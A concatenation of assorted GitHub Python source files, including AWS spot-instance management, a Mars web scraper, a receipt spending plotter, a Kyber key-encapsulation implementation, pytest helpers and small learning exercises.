spot_instance_id, instance_id)\n\n # If the ASG is already at its MaxSize, we cannot attach a new instance.\n # So either\n # - temporarily increase the MaxSize with AUTOSCALING.update_auto_scaling_group()\n # or\n # - detach the old instance before attaching the new one\n current_max_size = self.asg['MaxSize']\n self.asg_client.update_auto_scaling_group(\n AutoScalingGroupName=self.asg_name,\n MaxSize=current_max_size + 1)\n self.asg_client.attach_instances(InstanceIds=[spot_instance_id],\n AutoScalingGroupName=self.asg_name)\n try:\n self.asg_client.detach_instances(InstanceIds=[instance_id],\n AutoScalingGroupName=self.asg_name,\n ShouldDecrementDesiredCapacity=True)\n except Exception:\n self.logger.exception(\n \"Could not detach instance %r, I'll assume it was terminated \"\n \"by the ASG. Therefore, I will terminate spot instance %r, \"\n \"which was supposed to replace it. Original backtrace:\",\n instance_id, spot_instance_id)\n self.ec2_client.terminate_instances(InstanceIds=[spot_instance_id])\n else:\n self.ec2_client.terminate_instances(InstanceIds=[instance_id])\n\n self.asg_client.update_auto_scaling_group(\n AutoScalingGroupName=self.asg_name, MaxSize=current_max_size)\n\n def untag_spot_request(self, spot_request):\n # Remove tags so that self.get_pending_spot_resources() does not find\n # this spot request again.\n self.ec2_client.delete_tags(Resources=[spot_request['SpotInstanceRequestId']],\n Tags=[{'Key': SPOTNIK_TAG_KEY}])\n\n def make_spot_request(self):\n policy = ReplacementPolicy(self.asg, self)\n if not policy.is_replacement_needed():\n return\n\n launch_specification, replaced_instance_details, bid_price = policy.decide_replacement()\n\n response = self.ec2_client.request_spot_instances(\n DryRun=False, SpotPrice=bid_price,\n LaunchSpecification=launch_specification)\n\n spot_request_id = response['SpotInstanceRequests'][0]['SpotInstanceRequestId']\n self.logger.info(\"New spot request %r was created\", spot_request_id)\n\n tags = [\n {'Key': SPOTNIK_TAG_KEY, 'Value': self.asg['AutoScalingGroupName']},\n {'Key': 'spotnik-will-replace', 'Value': replaced_instance_details['InstanceId']}]\n self.tag_spot_request(spot_request_id, tags)\n\n @retry(attempts=3, delay=3)\n def tag_spot_request(self, spot_request_id, tags):\n self.ec2_client.create_tags(Resources=[spot_request_id], Tags=tags)\n","repo_name":"Scout24/spotnik","sub_path":"src/main/python/spotnik/spotnik.py","file_name":"spotnik.py","file_ext":"py","file_size_in_byte":5638,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"28273709771","text":"from splinter import Browser\nfrom bs4 import BeautifulSoup as bs\nimport pandas as pd\nimport time\n\n\ndef init_browser():\n executable_path = {\"executable_path\": \"chromedriver.exe\"}\n return Browser(\"chrome\", **executable_path, headless=False)\n\n\ndef scrape():\n browser = init_browser()\n\n # visit mars new site\n url = \"https://mars.nasa.gov/news\"\n browser.visit(url)\n\n time.sleep(2)\n\n html = browser.html\n soup = bs(html, \"html.parser\")\n\n # get news title\n headline = soup.find_all(\"div\", class_=\"content_title\")\n news_headline = headline[1].text\n\n # get paragraph text\n pargs = soup.find_all(\"div\", class_=\"article_teaser_body\")\n parg_text = pargs[0].text\n\n # visit image url\n pic_url = \"https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars\"\n browser.visit(pic_url)\n\n time.sleep(1)\n\n # click through links to find image\n browser.links.find_by_partial_text(\"FULL IMAGE\")\n time.sleep(2)\n browser.links.find_by_partial_text(\"more info\")\n time.sleep(2)\n\n html = browser.html\n soup = bs(html, \"html.parser\")\n\n # extract image link\n image = soup.find(\"figure\", class_=\"lede\")\n image_url = image.find(\"a\")[\"href\"]\n featured_image_url = \"https://www.jpl.nasa.gov\" + image_url\n\n # get mars facts\n facts_url = \"https://space-facts.com/mars/\"\n tables = pd.read_html(facts_url)\n\n # visit mars hemispheres html\n mars_url = \"https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars\"\n browser.visit(mars_url)\n\n browser.links.find_by_partial_text(\"Cerberus\")\n\n time.sleep(1)\n\n html = browser.html\n soup = bs(html, \"html.parser\")\n\n base_url = \"https://astrogeology.usgs.gov\"\n\n # extract image links\n cerberus = soup.find(\"div\", class_=\"downloads\")\n cerberus_link = cerberus.find(\"img\")[\"src\"]\n cerberus_url = base_url + cerberus_link\n\n browser.back()\n time.sleep(1)\n\n browser.links.find_by_partial_text(\"Schiaparelli\")\n time.sleep(2)\n\n schiaparelli = soup.find(\"div\", class_=\"downloads\")\n schiaparelli_link = schiaparelli.find(\"img\")[\"src\"]\n schiaparelli_url = base_url + schiaparelli_link\n\n browser.back()\n time.sleep(2)\n\n browser.links.find_by_partial_text(\"Syrtis\")\n time.sleep(2)\n\n syrtis = soup.find(\"div\", class_=\"downloads\")\n syrtis_link = syrtis.find(\"img\")[\"src\"]\n syrtis_url = base_url + syrtis_link\n\n browser.links.find_by_partial_text(\"Valles\")\n time.sleep(2)\n\n valles = soup.find(\"div\", class_=\"downloads\")\n valles_link = valles.find(\"img\")[\"src\"]\n valles_url = base_url + valles_link\n\n hemisphere_image_urls = [\n {\"title\": \"Valles Marineris Hemisphere\", \"img_url\": {\"valles_url\"}},\n {\"title\": \"Cerberus Hemisphere\", \"img_url\": {\"cerberus_url\"}},\n {\"title\": \"Schiaparelli Hemisphere\", \"img_url\": {\"schiaparelli_url\"}},\n {\"title\": \"Syrtis Major Hemisphere\", \"img_url\": {\"syrtis_url\"}},\n ]\n\n mars_data = {\n \"Headline\": news_headline,\n \"Paragraph Text\": parg_text,\n \"Featured Image\": featured_image_url,\n \"Mars Facts\": tables,\n \"Hemispheres\": hemisphere_image_urls,\n }\n\n browser.quit()\n\n return mars_data\n","repo_name":"sjplaza/web-scraping-challenge","sub_path":"Missions_to_Mars/scrape_nasa.py","file_name":"scrape_nasa.py","file_ext":"py","file_size_in_byte":3201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"73309258184","text":"############### IMPORT NECESSARY RECOURSES ###############\n# Throughout this document, several libraries are used #\n# in order to import necessary functions to make graphs, #\n# communicate with SQL, and filter data. #\n##########################################################\n\nimport psycopg2 as pg2 # import psycopg2 to communicate with 'Receipt_Project_v3.0' database\nimport matplotlib.pyplot as plt # import matplotlib to display data\nimport numpy as np # import numpy to restructure data\nimport re # import re regular expressions for data filter\nimport seaborn as sns # import seaborn for graph styles\nimport os # import os to delete past graph images\n\n\n\n############### IMPORT DATA FROM 'Receipt_Project_v3.0' ###############\n# In order to 'decongest' the file, all data relevant to the #\n# different plots will be declared as global variables. #\n#######################################################################\n\n##### CREATE LINK BETWEEN PYTHON AND SQL SERVER #####\n\nreceipt_project = pg2.connect( # connect python to 'Receipt_Project_v3.0' database\n host='localhost',\n database='Receipt_Project_v3.0',\n user='',\n password=''\n)\nreceiptProjectCursor = receipt_project.cursor() # create cursor to input commands\n\n##### GRAB 'total_spent' FROM 'Receipt_Project_v3.0' #####\n\nreceiptProjectCursor.execute( # grab 'total_spent' from 'base_fields_table' for data set\n 'select total_spent from base_fields_table order by purchase_date'\n)\npurchaseTotals = list(np.asarray(receiptProjectCursor.fetchall()).flatten()) # store contents in 'purchaseTotals'\n\n##### RESTRUCTURE 'purchaseTotals' ARRAY #####\n\nfor i in range(len(purchaseTotals)): # restructure 'purchaseTotals' to remove null values and special characters\n\n if (purchaseTotals[i] == None): # replace null values with 0\n purchaseTotals[i] = 0\n\n else: # pass for all non-null values\n pass\n\n purchaseTotals[i] = float(re.sub( # filter 'purchaseTotals' to remove special characters\n '[@_!$%^#&*()<>?/\\|}{~:;¿§«»ω⊙¤°℃℉€¥£¢¡®©_+]', \"\", str(purchaseTotals[i]),\n count=len(str(purchaseTotals[i]))\n ))\n\n##### CLOSE CONNECTION TO 'Receipt_Project_v3.0' #####\n\nreceiptProjectCursor.close() # stop communication with 'Receipt_Project_v3.0' database\nreceipt_project.close() # close the connection to prevent data leaks\n\n\n\n############### 'makeMovingAverage' FUNCTION ###############\n# The makeMovingAverage function is used to create a #\n# moving average based on provided parameters. #\n############################################################\n\ndef makeMovingAverage(x, w):\n\n return np.convolve(x, np.ones(w), 'same') / w # return moving average\n\n\n\n############### 'makeQuarterlyMovingAverage' FUNCTION ###############\n# The makeQuarterlyMovingAverage function creates a model that is #\n# used to analyze how average daily spending has changed in the #\n# past year. #\n#####################################################################\n\ndef makeQuarterlyMovingAverage():\n\n ##### CREATE 'quarterlyMovingAverageGraph' RESOURCES #####\n\n quarterlyTotals = purchaseTotals[-90:] # grab last 90 days of data from 'purchaseTotals'\n\n quarterlyMovingAverage = makeMovingAverage(quarterlyTotals, int(np.sqrt(len(quarterlyTotals))) * 2) # create 'quarterlyMovingAverage'\n\n quarterlyMovingAverageIndex = [] # create empty array as 'quarterlyMovingAverageIndex' index\n\n for i in range(len(quarterlyMovingAverage)): # fill empty array to length of 'quarterlyMovingAverage'\n quarterlyMovingAverageIndex.append(i + 1)\n\n quarterlyMovingAverageTrend = makeMovingAverage(quarterlyMovingAverage, int(np.sqrt(len(quarterlyMovingAverage))) * 4) # create 'quarterlyMovingAverageTrend'\n\n quarterlyAverage = \" Rolling Average Trend:\"\n\n ##### PLOT 'quarterlyMovingAverageGraph' GRAPH #####\n\n sns.set( # configure 'quarterlyMovingAverageGraph' graph\n rc={'axes.facecolor': '#292D2E', 'figure.facecolor': '#292D2E', 'grid.color': '#395B64',\n 'axes.edgecolor': '#292D2E', 'text.color': '#A5C9CA', 'xtick.color': '#A5C9CA',\n 'ytick.color': '#A5C9CA', 'figure.figsize':(5.5, 3.5)}\n )\n\n quarterlyMovingAverageGraph = sns.lineplot( # create 'quarterlyMovingAverageGraph' average line\n quarterlyMovingAverageIndex, quarterlyMovingAverage, color='#A5C9CA'\n ).set(title=quarterlyAverage)\n\n quarterlyMovingAverageGraph = sns.lineplot( # create 'quarterlyMovingAverageGraph' trend line\n quarterlyMovingAverageIndex, quarterlyMovingAverageTrend, color='#E7F6F2'\n )\n\n if ( # if 'quarterlyMovingAverage' negative, proceed\n\n (round(float(re.sub(\n '[@_!$%^#&*()\\[\\]<>?/\\|}{~:;¿§«»ω⊙¤°℃℉€¥£¢¡®©_+]', \"\", str(quarterlyMovingAverage[-1:]),\n count=len(str(quarterlyMovingAverage))\n )), 2)) < 0\n ):\n\n quarterlyMovingAverageGraph.annotate( # annotate 'quarterlyMovingAverage' line\n xy=(max(quarterlyMovingAverageIndex), quarterlyMovingAverage[-1:]), text=(\"-$\" + str(-1 * (round(float(re.sub(\n '[@_!$%^#&*()\\[\\]<>?/\\|}{~:;¿§«»ω⊙¤°℃℉€¥£¢¡®©_+]', \"\", str(quarterlyMovingAverage[-1:]),\n count=len(str(quarterlyMovingAverage))\n )), 2)))),\n color='#A5C9CA', size=8\n )\n\n else: # if 'quarterlyMovingAverage' positive, proceed\n\n quarterlyMovingAverageGraph.annotate( # annotate 'quarterlyMovingAverage' line\n xy=(max(quarterlyMovingAverageIndex), quarterlyMovingAverage[-1:]), text=(\"$\" + str(round(float(re.sub(\n '[@_!$%^#&*()\\[\\]<>?/\\|}{~:;¿§«»ω⊙¤°℃℉€¥£¢¡®©_+]', \"\", str(quarterlyMovingAverage[-1:]),\n count=len(str(quarterlyMovingAverage))\n )), 2))),\n color='#A5C9CA', size=8\n )\n\n if ( # if 'quarterlyMovingAverageTrend' negative, proceed\n\n (round(float(re.sub(\n '[@_!$%^#&*()\\[\\]<>?/\\|}{~:;¿§«»ω⊙¤°℃℉€¥£¢¡®©_+]', \"\", str(quarterlyMovingAverageTrend[-1:]),\n count=len(str(quarterlyMovingAverageTrend))\n )), 2)) < 0\n ):\n\n quarterlyMovingAverageGraph.annotate( # annotate 'quarterlyMovingAverageTrend' line\n xy=(max(quarterlyMovingAverageIndex), quarterlyMovingAverageTrend[-1:]), text=(\"-$\" + str(-1 * (round(float(re.sub(\n '[@_!$%^#&*()\\[\\]<>?/\\|}{~:;¿§«»ω⊙¤°℃℉€¥£¢¡®©_+]', \"\", str(quarterlyMovingAverageTrend[-1:]),\n count=len(str(quarterlyMovingAverageTrend))\n )), 2)))),\n color='#E7F6F2', size=8\n )\n\n else: # if 'quarterlyMovingAverageTrend' positive, proceed\n\n quarterlyMovingAverageGraph.annotate( # annotate 'quarterlyMovingAverageTrend' line\n xy=(max(quarterlyMovingAverageIndex), quarterlyMovingAverageTrend[-1:]), text=(\"$\" + str(round(float(re.sub(\n '[@_!$%^#&*()\\[\\]<>?/\\|}{~:;¿§«»ω⊙¤°℃℉€¥£¢¡®©_+]', \"\", str(quarterlyMovingAverageTrend[-1:]),\n count=len(str(quarterlyMovingAverageTrend))\n )), 2))),\n color='#E7F6F2', size=8\n )\n\n plt.legend( # create legend\n labels=[\"Avg.\", \"Trend\"],\n fontsize=8,\n loc='upper left'\n )\n\n ##### SAVE 'quarterlyMovingAverageGraph.png' FILE #####\n\n if os.path.exists('/Users/matthewbeck/Desktop/Projects/Receipt_Project_v3.0/quarterlyMovingAverageGraph.png'): # if file path exists, delete 'quarterlyMovingAverageGraph.png'\n os.remove('/Users/matthewbeck/Desktop/Projects/Receipt_Project_v3.0/quarterlyMovingAverageGraph.png')\n\n else: # if file path does not exist, pass\n pass\n\n plt.savefig('/Users/matthewbeck/Desktop/Projects/Receipt_Project_v3.0/quarterlyMovingAverageGraph.png') # save 'quarterlyMovingAverageGraph' graph as 'quarterlyMovingAverageGraph.png'\n\n plt.cla() # clear 'quarterlyMovingAverageGraph' when complete","repo_name":"MTBProgramming/Receipt_Analyzer-v3.0","sub_path":"make_quarterly_moving_average.py","file_name":"make_quarterly_moving_average.py","file_ext":"py","file_size_in_byte":8009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"36234958537","text":"import os\nfrom pathlib import Path\nimport tempfile\nimport shutil\n\nimport maia\n\nmesh_dir = Path(maia.__file__).parent.parent/'share/meshes'\nsample_mesh_dir = Path(maia.__file__).parent.parent/'share/sample_meshes'\npytest_output_prefix = 'pytest_out'\n\ndef create_collective_tmp_dir(comm):\n \"\"\"\n Create a unique temporary directory and return its path\n \"\"\"\n if comm.Get_rank()==0:\n tmp_test_dir = tempfile.mkdtemp()\n else:\n tmp_test_dir = \"\"\n return Path(comm.bcast(tmp_test_dir,root=0))\n\ndef rm_collective_dir(path, comm):\n \"\"\"\n Remove a directory from its path\n \"\"\"\n comm.barrier()\n if comm.Get_rank() == 0:\n shutil.rmtree(path)\n comm.barrier()\n\nclass collective_tmp_dir:\n \"\"\"\n Context manager creating a tmp dir in parallel and removing it at the\n exit\n \"\"\"\n def __init__(self, comm):\n self.comm = comm\n def __enter__(self):\n self.path = create_collective_tmp_dir(self.comm)\n return self.path\n def __exit__(self, type, value, traceback):\n rm_collective_dir(self.path, self.comm)\n\ndef create_pytest_output_dir(comm):\n \"\"\"\n Create (in parallel) a directory named from the name of the current\n test runned by pytest and prefixed by module variable pytest_output_prefix.\n Return the name of this directory\n \"\"\"\n test_name = os.environ.get('PYTEST_CURRENT_TEST').split('::')[-1].split()[0]\n out_dir = Path(pytest_output_prefix)/test_name\n if comm.Get_rank() == 0:\n if not out_dir.exists():\n out_dir.mkdir(parents=True)\n comm.barrier()\n return out_dir\n\n","repo_name":"onera/Maia","sub_path":"maia/utils/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"27828248544","text":"from kuantum.kyber.utils.constants import PARAMS_K_512, PARAMS_K_768, PARAMS_K_1024, POLY_BYTES\nfrom kuantum.kyber.utils.num_type import uint16, int16, byte\nfrom kuantum.kyber.IDCPA import IDCPA\nfrom Crypto.Hash import SHA3_256, SHA3_512, SHAKE256\nfrom Crypto.Random import get_random_bytes\n\nPOLY_VEC_BYTES_K512 = 2 * POLY_BYTES\nPOLY_VEC_BYTES_K768 = 3 * POLY_BYTES\nPOLY_VEC_BYTES_K1024 = 4 * POLY_BYTES\n\nIDCPA_PK_BYTES_512 = POLY_VEC_BYTES_K512 + 32\nIDCPA_PK_BYTES_768 = POLY_VEC_BYTES_K768 + 32\nIDCPA_PK_BYTES_1024 = POLY_VEC_BYTES_K1024 + 32\n\nIDCPA_SK_BYTES_512 = 2 * POLY_BYTES\nIDCPA_SK_BYTES_768 = 3 * POLY_BYTES\nIDCPA_SK_BYTES_1024 = 4 * POLY_BYTES\n\nKYBER_SK_BYTES_512 = POLY_VEC_BYTES_K512 + ((POLY_VEC_BYTES_K512 + 32) + 2 * 32)\nKYBER_SK_BYTES_768 = POLY_VEC_BYTES_K768 + ((POLY_VEC_BYTES_K768 + 32) + 2 * 32)\nKYBER_SK_BYTES_1024 = POLY_VEC_BYTES_K1024 + ((POLY_VEC_BYTES_K1024 + 32) + 2 * 32)\n\n\nclass Kyber:\n\n def __init__(self, level):\n self.type = level\n if level == 'kyber512':\n self.k = PARAMS_K_512\n if level == 'kyber768':\n self.k = PARAMS_K_768\n if level == 'kyber1024':\n self.k = PARAMS_K_1024\n self.idcpa = IDCPA(level)\n\n def gen_keypair(self):\n keys = self.idcpa.idcpa_gen_keypair()\n pk = keys['public_key']\n sk = keys['secret_key']\n\n md = SHA3_256.new()\n md.update(bytearray([x & 0xff for x in pk]))\n h_pk = md.digest()\n h_pk = [byte(x) for x in h_pk]\n z = get_random_bytes(32)\n z = [byte(x) for x in z]\n\n kyber_keys = {\n 'public_key': pk,\n 'secret_key': sk[:] + pk[:] + h_pk[:] + z[:]\n }\n\n return kyber_keys\n\n def encrypt(self, public_key, msg=None):\n if msg is not None and len(msg) != 32:\n raise ValueError('Message must be 32 bytes long')\n if msg is None:\n msg = get_random_bytes(32)\n\n # hash msg with SHA3-256\n md = SHA3_256.new()\n md.update(bytearray([x & 0xff for x in msg]))\n h_msg = md.digest()\n h_msg = [byte(x) for x in h_msg]\n\n # hash public key with SHA3-256\n md = SHA3_256.new()\n md.update(bytearray([x & 0xff for x in public_key]))\n h_pk = md.digest()\n h_pk = [byte(x) for x in h_pk]\n\n # hash h_msg and h_pk with SHA3-512\n md512 = SHA3_512.new()\n md512.update(bytearray([x & 0xff for x in h_msg + h_pk]))\n h_msg_pk = md512.digest()\n h_msg_pk = [byte(x) for x in h_msg_pk]\n\n kr1 = h_msg_pk[:32]\n kr2 = [h_msg_pk[i + 32] for i in range(0, len(h_msg_pk) - 32)]\n\n # generate ciphertext\n ct = self.idcpa.idcpa_enc(public_key, h_msg, kr2)\n\n # hash cypher text with SHA-256\n md = SHA3_256.new()\n md.update(bytearray([x & 0xff for x in ct]))\n h_ct = md.digest()\n h_ct = [byte(x) for x in h_ct]\n\n # hash kr1 and h_ct with SHAKE-256\n md_shake = SHAKE256.new()\n md_shake.update(bytearray([x & 0xff for x in kr1 + h_ct]))\n shared_secret = md_shake.read(32)\n shared_secret = [byte(x) for x in shared_secret]\n\n return {\n 'ciphertext': ct,\n 'shared_secret': shared_secret\n }\n\n def decrypt(self, cipher_text, private_key):\n idcpa_private_key = None\n idcpa_public_key = None\n if self.k == 2:\n idcpa_private_key = private_key[0: IDCPA_SK_BYTES_512]\n idcpa_public_key = private_key[IDCPA_SK_BYTES_512:IDCPA_SK_BYTES_512 + IDCPA_PK_BYTES_512]\n h = private_key[KYBER_SK_BYTES_512 - 2 * 32:KYBER_SK_BYTES_512 - 32]\n z = private_key[KYBER_SK_BYTES_512 - 32:]\n\n if self.k == 3:\n idcpa_private_key = private_key[0: IDCPA_SK_BYTES_768]\n idcpa_public_key = private_key[IDCPA_SK_BYTES_768:IDCPA_SK_BYTES_768 + IDCPA_PK_BYTES_768]\n h = private_key[KYBER_SK_BYTES_768 - 2 * 32:KYBER_SK_BYTES_768 - 32]\n z = private_key[KYBER_SK_BYTES_768 - 32:]\n\n if self.k == 4:\n idcpa_private_key = private_key[0: IDCPA_SK_BYTES_1024]\n idcpa_public_key = private_key[IDCPA_SK_BYTES_1024:IDCPA_SK_BYTES_1024 + IDCPA_PK_BYTES_1024]\n h = private_key[KYBER_SK_BYTES_1024 - 2 * 32:KYBER_SK_BYTES_1024 - 32]\n z = private_key[KYBER_SK_BYTES_1024 - 32:]\n\n # idcpa decrypt\n msg = self.idcpa.idcpa_dec(cipher_text, idcpa_private_key)\n\n # hash msg + pk_h with SHA3-512\n md = SHA3_512.new()\n md.update(bytearray([x & 0xff for x in msg + h]))\n h_msg_pk = md.digest()\n h_msg_pk = [byte(x) for x in h_msg_pk]\n k = h_msg_pk[:32]\n r = h_msg_pk[-32:]\n\n # idcpa encrypt\n ct = self.idcpa.idcpa_enc(idcpa_public_key, msg, r)\n\n # hash ct with SHA3-256\n md = SHA3_256.new()\n md.update(bytearray([x & 0xff for x in cipher_text]))\n h_ct = md.digest()\n h_ct = [byte(x) for x in h_ct]\n\n if ct == cipher_text:\n temp_buf = k + h_ct\n else:\n temp_buf = z[:] + h_ct\n\n # hash temp_buf with SHAKE-256\n md_shake = SHAKE256.new()\n md_shake.update(bytearray([x & 0xff for x in temp_buf]))\n shared_secret = md_shake.read(32)\n return [byte(x) for x in shared_secret]\n","repo_name":"rakshit087/kuantum","sub_path":"kuantum/kyber/Kyber.py","file_name":"Kyber.py","file_ext":"py","file_size_in_byte":5329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"22498675201","text":"# Verilen listenin içindeki elemanları tersine döndüren bir fonksiyon yazın. Eğer listenin içindeki elemanlar da liste içeriyorsa onların elemanlarını da tersine döndürün. Örnek olarak:\n# input: [[1, 2], [3, 4], [5, 6, 7]]\n# output: [[[7, 6, 5], [4, 3], [2, 1]]\n\nl = [[1, 2], [3, 4], [5, 6, 7]]\nnewList = []\n\ndef Reverse(l):\n for x in l:\n if isinstance(x, list):\n x.reverse()\n newList.append(x)\n else:\n newList.append(x)\n newList.reverse()\n return newList\n\n\n","repo_name":"zaferna/Patika.dev","sub_path":"Reversed_List.py","file_name":"Reversed_List.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"22141386890","text":"\"\"\"Faça um Programa que leia 4 notas, mostre as notas e a média na tela.\"\"\"\n\ndef lervetor(vetor):\n media = sum(vetor) / len(vetor)\n print(f\"Média:, {media:.2f}\")\n \nnotas = [5,8,9,7]\nnotas2 = [5,8,9,7,10]\nnotas3 = [5,8,9,7,10,11]\n\n\nlervetor(notas)\nlervetor(notas2)\nlervetor(notas3)","repo_name":"TassioSales/Python_Brasil_exercicios","sub_path":"4 - ExerciciosListas/Exercicio_3.py","file_name":"Exercicio_3.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"29390342221","text":"class Person: \n # class attributes\n name = \"kibria\"\n\n # instance attributes\n def __init__(this, age, id): \n this.age = age\n this.id = id \n \n # instance method\n def address(this, add): \n return \"I live in {} and I am {} years old\" .format(add, this.age) \n\nobj1 = Person(22, 522)\n\n# access the class attributes\n# print(obj1.__class__.name) \nprint(obj1.name) \n\n# access_the_instance_attributes\n# print(obj1.age, obj1.id) \nprint(\"I am {} years old\".format(obj1.age))\nprint(\"My id is {}\".format(obj1.id)) \n\n# call our instance method\na = obj1.address(\"Dhaka\")\nprint(a) ","repo_name":"himelhrh/Python","sub_path":"46. OOP/1. basic.py","file_name":"1. basic.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"70469638984","text":"from typing import List\nimport torch\nfrom torch import nn\nfrom torch import Tensor\n\nfrom face2anime.modules.up_down import Encoder, Decoder\n\n\nclass BaseGenerator(nn.Module):\n def __init__(self,\n img_channels: int,\n channels: int = 32,\n block: str = \"Residual\",\n n_layer_blocks: int = 1,\n channel_multipliers: List[int] = [1, 2, 4],\n attention: str = \"SelfAttention\"):\n \n super().__init__()\n \n self.encoder = Encoder(in_channels=img_channels,\n channels=channels,\n block=block,\n n_layer_blocks=n_layer_blocks,\n channel_multipliers=channel_multipliers,\n attention=attention)\n \n self.decoder = Decoder(out_channels=img_channels,\n channels=channels,\n block=block,\n n_layer_blocks=n_layer_blocks,\n channel_multipliers=channel_multipliers,\n attention=attention)\n\n def forward(self, x: Tensor):\n x = self.encoder(x)\n x = self.decoder(x)\n return x\n \n\nif __name__ == \"__main__\":\n x = torch.randn(2, 3, 32, 32)\n generator = BaseGenerator(img_channels=3)\n out = generator(x)\n\n print('***** Generator *****')\n print('Input:', x.shape)\n print('Output:', out.shape)","repo_name":"hoang1007/face2anime","sub_path":"face2anime/modules/generators/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"20928551798","text":"import FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process(\"MUONEFF\")\n\nprocess.load(\"MuonAnalysis.TagAndProbe.MuonPerformanceESSource_cfi\")\n\nprocess.poolDBESSource.connect = 'sqlite_file:MuonPhysicsPerformance7TeV.db'\n\nprocess.load (\"MuonAnalysis.TagAndProbe.MuonPerformanceESProducer_cfi\")\n\nprocess.maxEvents = cms.untracked.PSet(\n input = cms.untracked.int32(100)\n)\n\nprocess.source = cms.Source(\"PoolSource\",\n fileNames = cms.untracked.vstring(\n '/store/relval/CMSSW_3_6_0/RelValJpsiMM/GEN-SIM-RECO/START36_V4-v1/0013/D4B634F3-8149-DF11-9056-002618943939.root'\n )\n )\n\nprocess.demo2 = cms.EDAnalyzer('MuTestPerformanceFW_ES',\n outfilename = cms.untracked.string('EfficiencyCorrectionPlots.root'),\n UseAbsEtaVals = cms.bool(True),\n AlgoNames = cms.vstring(\n 'GlobalMuon_Data_CaloMuonProbe_JPsi',\n 'HLT_Mu3_Data_CaloMuonProbe_JPsi',\n ))\n\nprocess.p = cms.Path(process.demo2)\n\n#print process.dumpPython()\n\n\n\n","repo_name":"cms-analysis/MuonAnalysis-TagAndProbe","sub_path":"test/performanceDB/test_ReadbackFromDB7TeV.py","file_name":"test_ReadbackFromDB7TeV.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"81"} +{"seq_id":"71072054985","text":"# To support both python 2 and python 3\nfrom __future__ import division, print_function, unicode_literals\n# list of points\nimport numpy as np\nimport matplotlib.pyplot as plt\n#thu vien dung de tinh toan khoang cach trong matrix\nfrom scipy.spatial.distance import cdist\nfrom matplotlib.backends.backend_pdf import PdfPages\nnp.random.seed(22)\n\nmeans = [[2, 2], [4, 2]]\ncov = [[.7, 0], [0, .7]]\nN = 20\n# dung de ve ngau nhien tu cac mau da bien\nX0 = np.random.multivariate_normal(means[0], cov, N) # each row is a data point\nX1 = np.random.multivariate_normal(means[1], cov, N)\n\nwith PdfPages('data.pdf') as pdf:\n plt.plot(X0[:, 0], X0[:, 1], 'bs', markersize = 8, alpha = 1)\n plt.plot(X1[:, 0], X1[:, 1], 'ro', markersize = 8, alpha = 1)\n plt.axis('equal')\n plt.ylim(0, 4)\n plt.xlim(0, 5)\n\n # hide tikcs\n cur_axes = plt.gca()\n cur_axes.axes.get_xaxis().set_ticks([])\n cur_axes.axes.get_yaxis().set_ticks([])\n\n plt.xlabel('$x_1$', fontsize = 20)\n plt.ylabel('$x_2$', fontsize = 20)\n pdf.savefig()\n # plt.savefig('logistic_2d.png', bbox_inches='tight', dpi = 300)\n plt.show()\n","repo_name":"Clapboiz/Scientific-research","sub_path":"Marchine learning/Code_py/soft_margin_svm.py","file_name":"soft_margin_svm.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"38420099251","text":"import requests\n\n# 阻塞io\n# html = requests.get(\"http://www.baidu.com\")\n# print(html.encoding)\n# print(html.status_code)\n# html.encoding = html.apparent_encoding\n# print(html.text)\n\nimport socket\n\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nhost = \"www.baidu.com\"\nclient.connect((host, 80)) # 阻塞IO， cpu空闲\nclient.send(\"GET {} HTTP/1.1\\r\\nHost:{}\\r\\nConnection:close\\r\\n\\r\\n\".format(\"/\", host).encode(\"utf8\"))\n\ndata = b\"\"\nwhile True:\n d = client.recv(1024)\n if d:\n data += d\n else:\n break\n\ndata = data.decode(\"utf-8\")\nprint(data)\n","repo_name":"YeBax/tornado_overview","sub_path":"chapter01/blockod_test.py","file_name":"blockod_test.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"74013686664","text":"\"\"\"Implements forward and reverse trapezoidal corrections.\"\"\"\nimport warnings\nimport numpy as np\nimport xarray as xr\n\nimport numba\n\nfrom typing import Any, Callable, Dict, List\n\nfrom arpes.trace import Trace, traceable\nfrom arpes.utilities import normalize_to_spectrum\n\nfrom .base import CoordinateConverter\nfrom .core import convert_coordinates\n\n__all__ = [\"apply_trapezoidal_correction\"]\n\n\n@numba.njit(parallel=True)\ndef _phi_to_phi(energy, phi, phi_out, l_fermi, l_volt, r_fermi, r_volt):\n \"\"\"Performs reverse coordinate interpolation using four angular waypoints.\n\n Args:\n energy: The binding energy in the corrected coordinate space\n phi: The angle in the corrected coordinate space\n phi_out: The array to populate with the measured phi angles\n l_fermi: The measured phi coordinate of the left edge of the hemisphere's range\n at the Fermi level\n l_volt: The measured phi coordinate of the left edge of the hemisphere's range\n at a binding energy of 1 eV (eV = -1.0)\n r_fermi: The measured phi coordinate of the right edge of the hemisphere's range\n at the Fermi level\n r_volt: The measured phi coordinate of the right edge of the hemisphere's range\n at a binding energy of 1 eV 